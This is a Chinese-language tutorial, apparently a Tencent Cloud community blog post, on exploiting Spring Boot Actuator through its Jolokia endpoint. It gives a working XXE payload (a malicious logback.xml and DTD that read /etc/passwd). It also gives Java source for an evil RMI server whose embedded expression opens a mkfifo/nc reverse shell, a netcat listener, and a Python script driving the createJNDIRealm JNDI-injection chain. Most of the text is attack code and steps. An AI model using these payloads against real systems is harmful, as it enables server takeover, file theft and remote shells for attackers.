Spring Boot Actuator端点通过 JMX 和HTTP 公开暴露给外界访问,大多数时候我们使用基于HTTP的Actuator端点,因为它们很容易通过浏览器、CURL命令、shell脚本等方式访问。
一些有用的执行器端点是:
首先我们查看我们当前环境http://x.x.x.x/jolokia/list地址,是否存在reloadByURL这个方法, 这个方法是造成RCE的关键。因为logback组件提供的reloadByURL操作使我们可以从外部URL重新加载日志配置
1. 创建logback.xml和file.dtd文件
logback.xml文件
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://x.x.x.x/file.dtd">%remote;%int;]>
<a>&trick;</a>
file.dtd文件
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
2. 起一个nginx wen服务器, 将这2个文件放置于web路径下
3. 接下来起一个spring boot 1.4 服务来验证漏洞
git clone https://github.com/veracode-research/actuator-testbed.git
cd actuator-testbed
mvn clean install
mvn spring-boot-run
4. 远程访问造成logback.xml文件, 造成XXE漏洞
http://172.16.139.79:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/172.16.139.79!/logback.xml
通过大神的文章exploiting-jndi-injections-java我们可以得知在logback.xml文件中,我们可以使用insertFromJNDI标签,这个标签允许我们从 JNDI 加载变量,导致了rce漏洞产生。
1. Jolokia从外部加载一个恶意的logback-evil.xml文件
http://172.16.139.79:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1!/logback-evil.xml
恶意的logback.xml文件
<configuration>
<insertFromJNDI env-entry-name="rmi://127.0.0.1:1097/jndi" as="appName" />
</configuration>
2. 制作一个RMI 恶意服务器
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServer {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 1234 >/tmp/f']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("jndi", referenceWrapper);
}
}
这边可以直接用现在的,在target目录下得到RMIServer-0.1.0.jar
git clone https://github.com/mpgn/Spring-Boot-Actuator-Exploit
cd Spring-Boot-Actuator-Exploit/maliciousRMIServer
mvn clean install
3. 启动RMI Server: java -jar target/RMIServer-0.1.0.jar
4. 因为在logback.xml文件中反弹的端口为1234,所以监听1234端口
nc -lvp 1234
5. 访问地址, 反弹shell
http://172.16.139.79:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1!/logback-evil.xml
这里还有一种远程代码执行的漏洞, 漏洞详情参考Attack Spring Boot Actuator via jolokia Part 2
查看/jolokia/list 中存在的是否存在org.apache.catalina.mbeans.MBeanFactory类提供的createJNDIRealm方法,可能存在JNDI注入,导致远程代码执行。
利用过程分为五步。
1、创建 JNDIRealm
2、写入 contextFactory 为 RegistryContextFactory
3、写入 connectionURL 为你的 RMI Service URL
4、停止 Realm
5、启动 Realm 以触发 JNDI 注入
直接放大神已写好的脚本
#!usr/bin/python
# -*- coding: utf-8 -*-
import requests as req
import sys
from pprint import pprint
url = sys.argv[1] + "/jolokia/"
pprint(url)
#创建JNDIRealm
create_JNDIrealm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
#写入contextFactory
set_contextFactory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
#写入connectionURL为自己公网RMI service地址
set_connectionURL = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://172.16.139.79:1097/jndi"
}
#停止Realm
stop_JNDIrealm = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
#运行Realm,触发JNDI 注入
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}
expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]
for i in expoloit:
rep = req.post(url, json=i)
pprint(rep.json())
配置好入参, 执行请求
得到返回的shell
1. https://mp.weixin.qq.com/s/q0y2WNIhkmR88Mdpyv4_QQ
2. Attack Spring Boot Actuator via jolokia Part 1
3. Attack Spring Boot Actuator via jolokia Part 2
4. https://www.jianshu.com/p/3162ce30a853
5. https://github.com/mpgn/Spring-Boot-Actuator-Exploit/tree/master/maliciousRMIServer
6. https://github.com/veracode-research/actuator-testbed/tree/708d2a2bc19ea1f73bbeee3349a167b177c7516a
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。